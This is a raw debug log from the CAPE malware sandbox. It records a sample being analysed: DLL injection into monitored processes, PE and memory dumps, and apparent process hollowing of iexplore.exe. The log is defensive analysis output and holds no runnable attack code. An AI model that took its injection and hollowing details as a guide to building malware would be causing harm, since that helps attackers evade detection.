2020-06-30 09:09:36,609 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x011A6E00 to 0x011A7000).
2020-06-30 09:09:36,625 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 09:09:36,625 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x01160000, dumping memory region.
2020-06-30 09:09:36,640 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 09:09:36,656 [root] DEBUG: DLL unloaded from 0x76130000.
2020-06-30 09:09:36,656 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 09:09:36,656 [root] DEBUG: DLL unloaded from 0x69060000.
2020-06-30 09:09:36,656 [root] DEBUG: DLL unloaded from 0x703E0000.
2020-06-30 09:09:36,656 [root] DEBUG: NtTerminateProcess hook: Attempting to dump process 5616
2020-06-30 09:09:36,656 [root] INFO: Disabling sleep skipping.
2020-06-30 09:09:36,671 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 09:09:36,671 [root] DEBUG: GetHookCallerBase: thread 2588 (handle 0x0), return address 0x004721B9, allocation base 0x00470000.
2020-06-30 09:09:36,671 [root] DEBUG: DoProcessDump: Dumping Imagebase at 0x01160000.
2020-06-30 09:09:36,671 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 5116 at 0x6a6b0000, image base 0x400000, stack from 0x2a6000-0x2b0000
2020-06-30 09:09:36,671 [root] DEBUG: LooksLikeSectionBoundary: Exception occured reading around suspected boundary at 0x01162000
2020-06-30 09:09:36,687 [root] DEBUG: Commandline: C:\Users\Rebecca\AppData\Local\Temp\"{path}".
2020-06-30 09:09:36,703 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:36,703 [root] INFO: Loaded monitor into process with pid 5116
2020-06-30 09:09:36,703 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x01160000.
2020-06-30 09:09:36,718 [root] DEBUG: DumpPE: Empty or inaccessible last section, file image seems incomplete (from 0x011A6E00 to 0x011A7000).
2020-06-30 09:09:36,734 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xb4 amd local view 0x03240000 to global list.
2020-06-30 09:09:36,734 [root] DEBUG: DumpPE: Error: Cannot dump PE file from memory.
2020-06-30 09:09:36,750 [root] DEBUG: set_caller_info: Adding region at 0x00030000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 09:09:36,750 [root] DEBUG: DumpImageInCurrentProcess: Failed to dump 'raw' PE image from 0x01160000, dumping memory region.
2020-06-30 09:09:36,750 [root] INFO: Process with pid 5616 has terminated
2020-06-30 09:09:36,765 [root] DEBUG: set_caller_info: Adding region at 0x01200000 to caller regions list (kernel32::GetSystemTime).
2020-06-30 09:09:36,781 [root] DEBUG: DLL loaded at 0x74DB0000: C:\Windows\system32\cryptbase (0xc000 bytes).
2020-06-30 09:09:36,781 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x1200000
2020-06-30 09:09:36,781 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x01200000 size 0x400000.
2020-06-30 09:09:36,781 [root] DEBUG: DumpPEsInRange: Scanning range 0x1200000 - 0x1211000.
2020-06-30 09:09:36,781 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x1200000-0x1211000.
2020-06-30 09:09:36,812 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5116_195676678636491530262020 (size 0x105d0)
2020-06-30 09:09:36,812 [root] DEBUG: DumpRegion: Dumped stack region from 0x01200000, size 0x11000.
2020-06-30 09:09:36,984 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5116_155128106036491530262020 (size 0x129)
2020-06-30 09:09:37,000 [root] DEBUG: DLL loaded at 0x028B0000: C:\tmpnwhtwc92\dll\mtQXsK (0xd5000 bytes).
2020-06-30 09:09:37,015 [root] DEBUG: DLL unloaded from 0x716B0000.
2020-06-30 09:09:37,015 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:37,015 [root] DEBUG: DLL unloaded from 0x716B0000.
2020-06-30 09:09:37,031 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:37,046 [root] DEBUG: DLL unloaded from 0x028B0000.
2020-06-30 09:09:37,046 [root] DEBUG: set_caller_info: Adding region at 0x00070000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 09:09:37,078 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5116_48877714837491530262020 (size 0x129)
2020-06-30 09:09:37,078 [root] DEBUG: DLL loaded at 0x028B0000: C:\tmpnwhtwc92\dll\mtQXsK (0xd5000 bytes).
2020-06-30 09:09:37,078 [root] DEBUG: DLL unloaded from 0x716B0000.
2020-06-30 09:09:37,093 [root] DEBUG: DLL unloaded from 0x769C0000.
2020-06-30 09:09:37,093 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\SXS (0x5f000 bytes).
2020-06-30 09:09:37,234 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xe8 amd local view 0x03AB0000 to global list.
2020-06-30 09:09:37,234 [root] DEBUG: DLL loaded at 0x74880000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2020-06-30 09:09:37,249 [root] DEBUG: DLL loaded at 0x74610000: C:\Windows\system32\rsaenh (0x3b000 bytes).
2020-06-30 09:09:37,265 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xf4 amd local view 0x026C0000 to global list.
2020-06-30 09:09:37,406 [root] DEBUG: set_caller_info: Adding region at 0x000A0000 to caller regions list (ntdll::LdrLoadDll).
2020-06-30 09:09:37,421 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x19ffff
2020-06-30 09:09:37,500 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\5116_201364598137491530262020 (size 0x44ffe)
2020-06-30 09:09:37,515 [root] DEBUG: DumpRegion: Dumped stack region from 0x000A0000, size 0x45000.
2020-06-30 09:09:37,546 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x108 amd local view 0x01150000 to global list.
2020-06-30 09:09:37,546 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0x104 amd local view 0x011B0000 to global list.
2020-06-30 09:09:37,546 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x01150000 for section view with handle 0x104.
2020-06-30 09:09:37,562 [root] DEBUG: MapSectionViewHandler: Updated local view to 0x011B0000 for section view with handle 0x108.
2020-06-30 09:09:37,578 [root] DEBUG: RtlDecompressBuffer hook: scanning region 0x3eb0020 size 0x3f000 for PE image(s).
2020-06-30 09:09:37,578 [root] DEBUG: DumpPEsInRange: Scanning range 0x3eb0020 - 0x3eef020.
2020-06-30 09:09:37,578 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x3eb0020
2020-06-30 09:09:37,687 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:09:37,687 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x3eb1020-0x3eef020.
2020-06-30 09:09:37,687 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 248, handle 0x104.
2020-06-30 09:09:37,703 [root] DEBUG: OpenProcessHandler: Image base for process 248 (handle 0x104): 0x481A0000.
2020-06-30 09:09:37,718 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 332, handle 0x104.
2020-06-30 09:09:37,734 [root] DEBUG: OpenProcessHandler: Image base for process 332 (handle 0x104): 0x49700000.
2020-06-30 09:09:37,734 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 368, handle 0x104.
2020-06-30 09:09:37,734 [root] DEBUG: OpenProcessHandler: Image base for process 368 (handle 0x104): 0x00090000.
2020-06-30 09:09:37,734 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 376, handle 0x104.
2020-06-30 09:09:37,750 [root] DEBUG: OpenProcessHandler: Image base for process 376 (handle 0x104): 0x49700000.
2020-06-30 09:09:37,750 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 416, handle 0x104.
2020-06-30 09:09:37,750 [root] DEBUG: OpenProcessHandler: Image base for process 416 (handle 0x104): 0x00ED0000.
2020-06-30 09:09:37,750 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 464, handle 0x104.
2020-06-30 09:09:37,781 [root] DEBUG: OpenProcessHandler: Image base for process 464 (handle 0x104): 0x00280000.
2020-06-30 09:09:37,781 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 472, handle 0x104.
2020-06-30 09:09:37,781 [root] DEBUG: OpenProcessHandler: Image base for process 472 (handle 0x104): 0x00240000.
2020-06-30 09:09:37,781 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 480, handle 0x104.
2020-06-30 09:09:37,796 [root] DEBUG: OpenProcessHandler: Image base for process 480 (handle 0x104): 0x00320000.
2020-06-30 09:09:37,796 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 580, handle 0x104.
2020-06-30 09:09:37,812 [root] DEBUG: OpenProcessHandler: Image base for process 580 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,812 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 656, handle 0x104.
2020-06-30 09:09:37,843 [root] DEBUG: OpenProcessHandler: Image base for process 656 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,875 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 744, handle 0x104.
2020-06-30 09:09:37,875 [root] DEBUG: OpenProcessHandler: Image base for process 744 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,875 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 784, handle 0x104.
2020-06-30 09:09:37,890 [root] DEBUG: OpenProcessHandler: Image base for process 784 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,890 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 816, handle 0x104.
2020-06-30 09:09:37,890 [root] DEBUG: OpenProcessHandler: Image base for process 816 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,890 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 840, handle 0x104.
2020-06-30 09:09:37,890 [root] DEBUG: OpenProcessHandler: Image base for process 840 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,906 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1076, handle 0x104.
2020-06-30 09:09:37,906 [root] DEBUG: OpenProcessHandler: Image base for process 1076 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,921 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1196, handle 0x104.
2020-06-30 09:09:37,921 [root] DEBUG: OpenProcessHandler: Image base for process 1196 (handle 0x104): 0x00EC0000.
2020-06-30 09:09:37,921 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1276, handle 0x104.
2020-06-30 09:09:37,921 [root] DEBUG: OpenProcessHandler: Image base for process 1276 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,937 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1452, handle 0x104.
2020-06-30 09:09:37,953 [root] DEBUG: OpenProcessHandler: Image base for process 1452 (handle 0x104): 0x00800000.
2020-06-30 09:09:37,953 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1504, handle 0x104.
2020-06-30 09:09:37,953 [root] DEBUG: OpenProcessHandler: Image base for process 1504 (handle 0x104): 0x00AD0000.
2020-06-30 09:09:37,953 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1576, handle 0x104.
2020-06-30 09:09:37,953 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1592, handle 0x104.
2020-06-30 09:09:37,968 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1768, handle 0x104.
2020-06-30 09:09:37,968 [root] DEBUG: OpenProcessHandler: Image base for process 1768 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,968 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 340, handle 0x104.
2020-06-30 09:09:37,968 [root] DEBUG: OpenProcessHandler: Image base for process 340 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 1432, handle 0x104.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Image base for process 1432 (handle 0x104): 0x00E70000.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 884, handle 0x104.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Image base for process 884 (handle 0x104): 0x003F0000.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 2300, handle 0x104.
2020-06-30 09:09:37,984 [root] DEBUG: OpenProcessHandler: Image base for process 2300 (handle 0x104): 0x00BB0000.
2020-06-30 09:09:38,000 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 4040, handle 0x104.
2020-06-30 09:09:38,062 [root] DEBUG: OpenProcessHandler: Image base for process 4040 (handle 0x104): 0x00470000.
2020-06-30 09:09:38,140 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 5508, handle 0x104.
2020-06-30 09:09:38,140 [root] DEBUG: OpenProcessHandler: Image base for process 5508 (handle 0x104): 0x00940000.
2020-06-30 09:09:38,156 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 2360, handle 0x104.
2020-06-30 09:09:38,156 [root] DEBUG: OpenProcessHandler: Image base for process 2360 (handle 0x104): 0x00AD0000.
2020-06-30 09:09:38,156 [root] DEBUG: OpenProcessHandler: Injection info created for Pid 5116, handle 0x104.
2020-06-30 09:09:38,156 [root] DEBUG: OpenProcessHandler: Image base for process 5116 (handle 0x104): 0x00400000.
2020-06-30 09:09:38,171 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,171 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,187 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,203 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,218 [root] DEBUG: Loader: Injecting process 6040 (thread 3980) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,218 [root] DEBUG: Process image base: 0x012C0000
2020-06-30 09:09:38,218 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,218 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 09:09:38,218 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,234 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 6040
2020-06-30 09:09:38,249 [root] DEBUG: DLL loaded at 0x74D60000: C:\Windows\system32\apphelp (0x4c000 bytes).
2020-06-30 09:09:38,249 [root] DEBUG: CreateProcessHandler: Injection info set for new process 6040, ImageBase: 0x012C0000
2020-06-30 09:09:38,265 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,265 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,265 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,281 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,281 [root] DEBUG: Loader: Injecting process 6040 (thread 3980) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,296 [root] DEBUG: Process image base: 0x012C0000
2020-06-30 09:09:38,296 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,296 [root] DEBUG: InjectDllViaIAT: This image has already been patched.
2020-06-30 09:09:38,296 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,296 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 6040
2020-06-30 09:09:38,296 [root] DEBUG: WriteMemoryHandler: Executable binary injected into process 6040 (ImageBase 0x400000)
2020-06-30 09:09:38,328 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:09:38,343 [root] DEBUG: WriteMemoryHandler: Dumped PE image from buffer at 0x3554290, SizeOfImage 0x43000.
2020-06-30 09:09:38,343 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,343 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,343 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,390 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,390 [root] DEBUG: Loader: Injecting process 6040 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,390 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:38,390 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:38,406 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,406 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 6040, error: 4294967281
2020-06-30 09:09:38,421 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 09:09:38,421 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,437 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,437 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,453 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,468 [root] DEBUG: Loader: Injecting process 6040 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,468 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:38,468 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:38,468 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,468 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 6040, error: 4294967281
2020-06-30 09:09:38,484 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,500 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,500 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,515 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,515 [root] DEBUG: Loader: Injecting process 6040 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,546 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:38,546 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:38,546 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,562 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 6040, error: 4294967281
2020-06-30 09:09:38,593 [root] DEBUG: WriteMemoryHandler: injection of section of PE image which has already been dumped.
2020-06-30 09:09:38,593 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,593 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,593 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,609 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,640 [root] DEBUG: Loader: Injecting process 6040 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,656 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:38,656 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:38,656 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,656 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 6040, error: 4294967281
2020-06-30 09:09:38,671 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,671 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,687 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,703 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,718 [root] DEBUG: Loader: Injecting process 6040 (thread 0) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,750 [root] DEBUG: Error 299 (0x12b) - GetProcessInitialThreadId: Failed to read from process: Only part of a ReadProcessMemory or WriteProcessMemory request was completed.
2020-06-30 09:09:38,765 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed (SessionId=1).
2020-06-30 09:09:38,765 [root] DEBUG: Failed to inject DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,765 [lib.api.process] ERROR: Unable to inject into 32-bit process with pid 6040, error: 4294967281
2020-06-30 09:09:38,781 [root] DEBUG: SetThreadContextHandler: Hollow process entry point reset via NtSetContextThread to 0x00001364 (process 6040).
2020-06-30 09:09:38,781 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 6040
2020-06-30 09:09:38,796 [lib.api.process] INFO: Monitor config for process 6040: C:\tmpnwhtwc92\dll\6040.ini
2020-06-30 09:09:38,796 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:38,843 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:38,843 [root] DEBUG: Loader: Injecting process 6040 (thread 3980) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,859 [root] DEBUG: Process image base: 0x00400000
2020-06-30 09:09:38,859 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,859 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 09:09:38,859 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:38,859 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 6040
2020-06-30 09:09:38,859 [root] DEBUG: ResumeThreadHandler: Dumping section view for process 6040.
2020-06-30 09:09:38,921 [root] DEBUG: RtlDecompressBuffer hook: scanning region 0x3eb0020 size 0x3f000 for PE image(s).
2020-06-30 09:09:38,937 [root] DEBUG: DumpPEsInRange: Scanning range 0x3eb0020 - 0x3eef020.
2020-06-30 09:09:38,953 [root] DEBUG: ScanForDisguisedPE: PE image located at: 0x3eb0020
2020-06-30 09:09:38,953 [root] DEBUG: Python path set to 'C:\Users\Rebecca\AppData\Local\Programs\Python\Python38-32'.
2020-06-30 09:09:38,968 [root] DEBUG: DumpImageInCurrentProcess: Attempting to dump 'raw' PE image.
2020-06-30 09:09:38,968 [root] DEBUG: Dropped file limit defaulting to 100.
2020-06-30 09:09:38,968 [root] DEBUG: DumpPE: Instantiating PeParser with address: 0x03EB0020.
2020-06-30 09:09:39,000 [root] INFO: Disabling sleep skipping.
2020-06-30 09:09:39,000 [root] DEBUG: DumpPE: PE file in memory dumped successfully - dump size 0x3f000.
2020-06-30 09:09:39,000 [root] DEBUG: RestoreHeaders: Restored original import table.
2020-06-30 09:09:39,015 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x3eb1020-0x3eef020.
2020-06-30 09:09:39,046 [root] DEBUG: CAPE initialised: 32-bit monitor loaded in process 6040 at 0x6a6b0000, image base 0x400000, stack from 0x272000-0x280000
2020-06-30 09:09:39,062 [root] INFO: Loaded monitor into process with pid 6040
2020-06-30 09:09:39,078 [root] DEBUG: MapSectionViewHandler: Added section view with handle 0xb8 amd local view 0x03520000 to global list.
2020-06-30 09:09:39,078 [root] DEBUG: DLL loaded at 0x74DB0000: C:\Windows\system32\CRYPTBASE (0xc000 bytes).
2020-06-30 09:09:39,093 [root] DEBUG: DLL loaded at 0x74330000: C:\Windows\system32\VERSION (0x9000 bytes).
2020-06-30 09:09:39,109 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,109 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,109 [root] DEBUG: DLL unloaded from 0x00400000.
2020-06-30 09:09:39,125 [root] DEBUG: DLL loaded at 0x74DC0000: C:\Windows\system32\SXS (0x5f000 bytes).
2020-06-30 09:09:39,140 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,249 [root] DEBUG: set_caller_info: Adding region at 0x002F0000 to caller regions list (ntdll::memcpy).
2020-06-30 09:09:39,265 [root] DEBUG: set_caller_info: Adding region at 0x007E0000 to caller regions list (kernel32::GetSystemTime).
2020-06-30 09:09:39,265 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,281 [root] DEBUG: DumpMemory: Exception occured reading memory address 0x7e0000
2020-06-30 09:09:39,281 [root] DEBUG: Loader: Injecting process 4764 (thread 316) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,281 [root] DEBUG: Process image base: 0x012C0000
2020-06-30 09:09:39,281 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x007E0000 size 0x400000.
2020-06-30 09:09:39,281 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,296 [root] DEBUG: DumpPEsInRange: Scanning range 0x7e0000 - 0x7e1000.
2020-06-30 09:09:39,296 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2020-06-30 09:09:39,296 [root] DEBUG: Successfully injected DLL C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,312 [root] DEBUG: ScanForDisguisedPE: No PE image located in range 0x7e0000-0x7e1000.
2020-06-30 09:09:39,312 [lib.api.process] INFO: Injected into suspended 32-bit process with pid 4764
2020-06-30 09:09:39,328 [root] DEBUG: CreateProcessHandler: Injection info set for new process 4764, ImageBase: 0x012C0000
2020-06-30 09:09:39,328 [root] INFO: Announced 32-bit process name: iexplore.exe pid: 4764
2020-06-30 09:09:39,328 [lib.api.process] INFO: Monitor config for process 4764: C:\tmpnwhtwc92\dll\4764.ini
2020-06-30 09:09:39,343 [lib.api.process] INFO: 32-bit DLL to inject is C:\tmpnwhtwc92\dll\mtQXsK.dll, loader C:\tmpnwhtwc92\bin\xFheZGp.exe
2020-06-30 09:09:39,359 [root] DEBUG: DumpMemory: CAPE output file successfully created: C:\CZsEpR\CAPE\6040_37571161639491530262020 (size 0xf76)
2020-06-30 09:09:39,375 [root] DEBUG: DumpRegion: Dumped stack region from 0x007E0000, size 0x1000.
2020-06-30 09:09:39,375 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\SBKROHte.
2020-06-30 09:09:39,375 [root] DEBUG: Loader: Injecting process 4764 (thread 316) with C:\tmpnwhtwc92\dll\mtQXsK.dll.
2020-06-30 09:09:39,375 [root] DEBUG: ScanForNonZero: Exception occured reading memory address 0x3effff
2020-06-30 09:09:39,375 [root] DEBUG: Process image base: 0x012C0000
2020-06-30 09:09:39,375 [root] DEBUG: DumpMemory: Nothing to dump at 0x002F0000!
2020-06-30 09:09:39,390 [root] DEBUG: DumpRegion: Failed to dump entire allocation from 0x002F0000 size 0x100000.
2020-06-30 09:09:39,390 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\tmpnwhtwc92\dll\mtQXsK.dll.
